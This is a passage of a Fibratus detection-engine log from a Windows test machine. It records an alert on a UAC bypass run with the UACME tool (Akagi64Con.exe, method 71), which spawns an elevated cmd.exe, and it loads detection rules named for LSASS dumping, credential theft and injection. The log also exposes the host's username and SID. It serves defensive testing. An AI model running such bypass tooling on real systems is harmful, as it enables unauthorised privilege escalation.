Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:56+01:00 level=info msg=sending alert: [UAC bypass via assembly Native Image Cache hijack]. Text: Event(s): + Seq: 11039739 + Pid: 1000 + Tid: 12900 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:56.4010798 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f75686df0, file_path➜ C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\MMCEx\5a98fb15d3a1c6bc50cd32c76ed223e7\MMCEx.ni.dll, irp➜ ffff978f73677988, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, share_mask➜ , status➜ Success, tid➜ 12900, type➜ File + Metadata: rule.name: UAC bypass via assembly Native Image Cache hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 14695981039346656037 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 11054604 + Pid: 14872 + Tid: 7904 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:57.1763212 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2af7ea000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f80cf1080, name➜ cmd.exe, pid➜ 20468, ppid➜ 14872, real_ppid➜ 14872, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:59:57.1761226 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via assembly Native Image Cache hijack, tactic.id: TA0004 + + Pid: 14872 + Ppid: 1000 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" wf.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" wf.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T16:01:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:01:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:01:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:02:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:02:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:02:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from 